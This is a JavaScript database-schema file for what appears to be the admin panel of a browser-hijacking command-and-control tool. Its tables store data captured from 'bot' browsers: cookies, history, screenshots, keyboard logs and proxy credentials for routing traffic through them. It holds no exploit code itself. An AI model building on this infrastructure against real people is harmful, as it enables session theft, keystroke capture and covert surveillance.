database.js

const { seq } = require("async");
const Sequelize = require("sequelize");
const uuid = require("uuid");

const get_secure_random_string = require("./utils.js").get_secure_random_string;
const get_hashed_password = require("./utils.js").get_hashed_password;

var sequelize = new Sequelize(
  process.env.DATABASE_NAME,
  process.env.DATABASE_USER,
  process.env.DATABASE_PASSWORD,
  {
    host: process.env.DATABASE_HOST,
    port: process.env.DATABASE_PORT || 5432,
    dialect: "postgres",
    benchmark: true,
    logging: false,
    // logging: console.log,
  }
);

const Model = Sequelize.Model;
/*
  User accounts in the web panel
*/
class Users extends Model {}
Users.init(
  {
    id: {
      allowNull: false,
      primaryKey: true,
      type: Sequelize.UUID,
      defaultValue: uuid.v4(),
    },
    // Whether or not the email address has been verified.
    // Username
    username: {
      type: Sequelize.TEXT,
      allowNull: true,
      unique: true,
    },
    // Bcrypt
    password: {
      type: Sequelize.TEXT,
      allowNull: true,
    },
    // Whether the password should be changed
    // by the user when they log in.
    password_should_be_changed: {
      type: Sequelize.BOOLEAN,
      allowNull: false,
      default: false,
    },
  },
  {
    sequelize,
    modelName: "users",
    indexes: [
      {
        unique: true,
        fields: ["username"],
        method: "BTREE",
      },
    ],
  }
);

class Bots extends Model {}
Bots.init(
  {
    id: {
      allowNull: false,
      primaryKey: true,
      type: Sequelize.UUID,
      defaultValue: uuid.v4(),
    },
    // The unique ID for the specific browser
    browser_id: {
      type: Sequelize.TEXT,
      allowNull: false,
      unique: false,
    },
    // Name of the browser proxy
    name: {
      type: Sequelize.TEXT,
      allowNull: false,
      unique: false,
      default: "Untitled Proxy",
    },
    // The username to access the browser
    // HTTP proxy.
    proxy_username: {
      type: Sequelize.TEXT,
      allowNull: false,
      unique: true,
    },
    // The password to access the browser
    // HTTP proxy.
    proxy_password: {
      type: Sequelize.TEXT,
      allowNull: false,
    },
    // Whether the proxy is currently online
    is_online: {
      type: Sequelize.BOOLEAN,
      allowNull: false,
      defaultValue: true,
    },
    last_online: {
      type: Sequelize.DATE,
      allowNull: false,
      default: new Date(),
    },
    current_tab: {
      type: Sequelize.JSON,
      allowNull: false,
      default: {},
    },
    current_tab_image: {
      type: Sequelize.TEXT,
      allowNull: false,
      default: "",
    },
    tabs: {
      type: Sequelize.JSON,
      allowNull: false,
      default: [],
    },
    history: {
      type: Sequelize.JSON,
      allowNull: false,
      default: [],
    },
    cookies: {
      type: Sequelize.JSON,
      allowNull: false,
      default: [],
    },
    state: {
      type: Sequelize.TEXT,
      allowNull: false,
      default: "",
    },
    bookmarks: {
      type: Sequelize.JSON,
      allowNull: false,
      default: [],
    },
    downloads: {
      type: Sequelize.JSON,
      allowNull: false,
      default: [],
    },
    switch_config: {
      type: Sequelize.JSON,
      allowNull: false,
      default: {},
    },
    data_config: {
      type: Sequelize.JSON,
      allowNull: false,
      default: {},
    },
    // Bot user agent
    user_agent: {
      type: Sequelize.TEXT,
      allowNull: true,
      unique: false,
      default: "Unknown",
    },
    recording: {
      type: Sequelize.JSON,
      allowNull: false,
      default: [],
    },

    // Screen capture data
    screenshots: {
      type: Sequelize.JSON,
      allowNull: true,
      defaultValue: [],
    },
    // Activity tracking: Array of { start: timestamp, end: timestamp }
    activity: {
      type: Sequelize.JSON,
      allowNull: true,
      defaultValue: [],
    },
    // Timestamp of last active state or interaction
    last_active_at: {
      type: Sequelize.DATE,
      allowNull: true,
    },
  },
  {
    sequelize,
    modelName: "bots",
    indexes: [
      {
        unique: false,
        fields: ["browser_id"],
        method: "BTREE",
      },
      {
        unique: true,
        fields: ["proxy_username"],
        method: "BTREE",
      },
      {
        unique: false,
        fields: ["proxy_password"],
        method: "BTREE",
      },
    ],
  }
);

class BotRecording extends Model {}
BotRecording.init(
  {
    id: {
      allowNull: false,
      primaryKey: true,
      type: Sequelize.UUID,
      defaultValue: uuid.v4(),
    },
    recording: {
      type: Sequelize.TEXT,
      allowNull: false,
      default: "",
    },
    bot: {
      type: Sequelize.UUID,
      allowNull: false,
      unique: false,
      references: {
        model: "bots",
        key: "id",
      },
    },
    text: {
      type: Sequelize.TEXT,
      allowNull: true,
      default: "",
    },
    timestamp: {
      type: Sequelize.DATE,
      allowNull: true,  // Allow null for backwards compatibility
      defaultValue: Sequelize.NOW,
    },
    session_id: {
      type: Sequelize.STRING,
      allowNull: true,
    },
  },
  {
    sequelize,
    modelName: "bot_recordings",
    indexes: [
      {
        fields: ["bot"],
        method: "BTREE",
      },
    ],
  }
);

Bots.hasMany(BotRecording, {
  foreignKey: "bot",
  sourceKey: "id",
});

/*
  Various key/values for settings
*/
class Settings extends Model {}
Settings.init(
  {
    id: {
      allowNull: false,
      primaryKey: true,
      type: Sequelize.UUID,
      defaultValue: uuid.v4(),
    },
    // Setting name
    key: {
      type: Sequelize.TEXT,
      allowNull: true,
      unique: true,
    },
    // Setting value
    value: {
      type: Sequelize.TEXT,
      allowNull: true,
    },
  },
  {
    sequelize,
    modelName: "settings",
    indexes: [
      {
        unique: true,
        fields: ["key"],
        method: "BTREE",
      },
    ],
  }
);

async function create_new_user(username, password) {
  const bcrypt_hash = await get_hashed_password(password);

  const new_user = await Users.create({
    id: uuid.v4(),
    username: username,
    password: bcrypt_hash,
    password_should_be_changed: true,
  });

  return new_user;
}

function get_default_user_created_banner(username, password) {
  return `
============================================================================

 █████╗ ████████╗████████╗███████╗███╗   ██╗████████╗██╗ ██████╗ ███╗   ██╗
██╔══██╗╚══██╔══╝╚══██╔══╝██╔════╝████╗  ██║╚══██╔══╝██║██╔═══██╗████╗  ██║
███████║   ██║      ██║   █████╗  ██╔██╗ ██║   ██║   ██║██║   ██║██╔██╗ ██║
██╔══██║   ██║      ██║   ██╔══╝  ██║╚██╗██║   ██║   ██║██║   ██║██║╚██╗██║
██║  ██║   ██║      ██║   ███████╗██║ ╚████║   ██║   ██║╚██████╔╝██║ ╚████║
╚═╝  ╚═╝   ╚═╝      ╚═╝   ╚══════╝╚═╝  ╚═══╝   ╚═╝   ╚═╝ ╚═════╝ ╚═╝  ╚═══╝
                                                                           
vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv

	An admin user (for the admin control panel) has been created
	with the following credentials:

	USERNAME: ${username}
	PASSWORD: ${password}

	Upon logging in to the admin control panel with these
	credentials you will be prompted to change your password.
	Please do so at your earliest convenience as this message
	is potentially being logged by Docker.

^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

 █████╗ ████████╗████████╗███████╗███╗   ██╗████████╗██╗ ██████╗ ███╗   ██╗
██╔══██╗╚══██╔══╝╚══██╔══╝██╔════╝████╗  ██║╚══██╔══╝██║██╔═══██╗████╗  ██║
███████║   ██║      ██║   █████╗  ██╔██╗ ██║   ██║   ██║██║   ██║██╔██╗ ██║
██╔══██║   ██║      ██║   ██╔══╝  ██║╚██╗██║   ██║   ██║██║   ██║██║╚██╗██║
██║  ██║   ██║      ██║   ███████╗██║ ╚████║   ██║   ██║╚██████╔╝██║ ╚████║
╚═╝  ╚═╝   ╚═╝      ╚═╝   ╚══════╝╚═╝  ╚═══╝   ╚═╝   ╚═╝ ╚═════╝ ╚═╝  ╚═══╝
                                                                           
============================================================================
`;
}

async function initialize_users() {
  // Check if there is at least one User account
  // that exists in the database. If not, create
  // one and write the auth information to the
  // filesystem for the admin to get.
  const existing_users = await Users.findAll();

  // If there are already users we can stop here.
  if (existing_users.length > 0) {
    return;
  }

  // Since there's no users, we need to create one.
  // Otherwise there's nothing to log in with.

  // Generate cryptographically-secure random
  // password for the default user we're adding.
  const new_username = "admin";
  const new_password = get_secure_random_string(32);

  // Create user and add to database
  const new_user = await create_new_user(new_username, new_password);

  // Now we need to write these credentials to the
  // filesystem in a file so the user can retrieve
  // them.
  const banner_message = get_default_user_created_banner(
    new_username,
    new_password
  );

  console.log(banner_message);
}

async function initialize_configs() {
  const session_secret_key = "SESSION_SECRET";

  // Check for existing session secret value
  const session_secret_setting = await Settings.findOne({
    where: {
      key: session_secret_key,
    },
  });

  // If it exists, there's nothing else to do here.
  if (session_secret_setting) {
    return;
  }

  console.log(`No session secret set, generating one now...`);

  // Since it doesn't exist, generate one.
  await Settings.create({
    id: uuid.v4(),
    key: session_secret_key,
    value: get_secure_random_string(64),
  });

  console.log(`Session secret generated successfully!`);
}

async function database_init() {
  console.log(`Checking for database tables...`);
  const force = false; // Changed back to false after initial rebuild
  const alter = true; // This will add new columns to existing tables

  try {
    await Users.sync({ force: force, alter: alter });
    console.log("Users synced");
  } catch (error) {
    console.error("Error during Model Sync:", error);
  }

  await Bots.sync({ force: force, alter: alter });
  await Settings.sync({ force: force, alter: alter });
  await BotRecording.sync({ force: force, alter: alter });
  await BotScreenshots.sync({ force: force, alter: alter });
  await BotKeyboardLogs.sync({ force: force, alter: alter });

  // Set up configs if they're not already set up.
  console.log(`Checking for configs...`);
  await initialize_configs();

  // Set up admin panel user if not already set up.
  console.log(`Checking for admin user...`);
  await initialize_users();
}

class BotScreenshots extends Model {}
BotScreenshots.init(
  {
    id: {
      allowNull: false,
      primaryKey: true,
      type: Sequelize.UUID,
      defaultValue: uuid.v4(),
    },
    bot_id: {
      type: Sequelize.UUID,
      allowNull: false,
      references: {
        model: "bots",
        key: "id",
      },
    },
    url: {
      type: Sequelize.TEXT,
      allowNull: true,
    },
    title: {
      type: Sequelize.TEXT,
      allowNull: true,
    },
    image_data: {
      type: Sequelize.TEXT,
      allowNull: false,
    },
    session_id: {
      type: Sequelize.STRING,
      allowNull: true,
    },
    difference: {
      type: Sequelize.FLOAT,
      allowNull: true,
    },
    timestamp: {
      type: Sequelize.DATE,
      allowNull: false,
      defaultValue: Sequelize.NOW,
    },
  },
  {
    sequelize,
    modelName: "bot_screenshots",
    indexes: [
      {
        fields: ["bot_id"],
        method: "BTREE",
      },
      {
        fields: ["timestamp"],
        method: "BTREE",
      },
    ],
  }
);

class BotKeyboardLogs extends Model {}
BotKeyboardLogs.init(
  {
    id: {
      allowNull: false,
      primaryKey: true,
      type: Sequelize.UUID,
      defaultValue: uuid.v4(),
    },
    bot_id: {
      type: Sequelize.UUID,
      allowNull: false,
      references: {
        model: "bots",
        key: "id",
      },
    },
    url: {
      type: Sequelize.TEXT,
      allowNull: true,
    },
    title: {
      type: Sequelize.TEXT,
      allowNull: true,
    },
    keys: {
      type: Sequelize.TEXT,
      allowNull: false,
    },
    timestamp: {
      type: Sequelize.DATE,
      allowNull: false,
      defaultValue: Sequelize.NOW,
    },
  },
  {
    sequelize,
    modelName: "bot_keyboard_logs",
    indexes: [
      {
        fields: ["bot_id"],
        method: "BTREE",
      },
      {
        fields: ["timestamp"],
        method: "BTREE",
      },
    ],
  }
);

Bots.hasMany(BotScreenshots, {
  foreignKey: "bot_id",
  sourceKey: "id",
});

Bots.hasMany(BotKeyboardLogs, {
  foreignKey: "bot_id",
  sourceKey: "id",
});

module.exports.sequelize = sequelize;
module.exports.Users = Users;
module.exports.Bots = Bots;
module.exports.Settings = Settings;
module.exports.BotRecording = BotRecording;
module.exports.BotScreenshots = BotScreenshots;
module.exports.BotKeyboardLogs = BotKeyboardLogs;
module.exports.database_init = database_init;